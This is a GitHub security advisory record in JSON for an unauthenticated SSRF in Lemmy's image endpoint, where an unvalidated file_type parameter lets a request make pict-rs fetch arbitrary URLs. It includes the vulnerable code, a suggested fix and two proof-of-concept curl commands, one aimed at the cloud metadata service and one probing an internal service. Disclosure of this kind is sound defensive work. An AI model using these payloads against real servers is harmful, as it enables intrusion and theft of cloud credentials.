{"id":"GHSA-jvxv-2jjp-jxc3","summary":"Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint","details":"## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n  filename: Path\u003cString\u003e,\n  Query(params): Query\u003cImageGetParams\u003e,\n  req: HttpRequest,\n  context: Data\u003cLemmyContext\u003e,\n) -\u003e LemmyResult\u003cHttpResponse\u003e {\n  let name = &filename.into_inner();\n  let pictrs_url = context.settings().pictrs()?.url;\n  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {\n    format!(\"{}image/original/{}\", pictrs_url, name)\n  } else {\n    let file_type = file_type(params.file_type, name);\n    let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n    // ...\n  };\n  do_get_image(processed_url, req, &context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option\u003cString\u003e`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything\n\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'\n\n# Scan internal services on the Docker network\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option\u003cString\u003e, name: &str) -\u003e String {\n  let ft = file_type\n    .unwrap_or_else(|| name.split('.').next_back().unwrap_or(\"jpg\").to_string());\n  if ft.chars().all(|c| c.is_alphanumeric()) {\n    ft\n  } else {\n    \"jpg\".to_string()\n  }\n}\n```","aliases":["CVE-2026-29178"],"modified":"2026-03-06T23:01:53.550131Z","published":"2026-03-04T20:55:00Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-04T20:55:00Z","nvd_published_at":"2026-03-06T18:16:20Z","cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29178"},{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"},{"type":"PACKAGE","url":"https://github.com/LemmyNet/lemmy"}],"affected":[{"package":{"name":"lemmy_routes","ecosystem":"crates.io","purl":"pkg:cargo/lemmy_routes"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.19.16"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.19.15","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-jvxv-2jjp-jxc3/GHSA-jvxv-2jjp-jxc3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}]}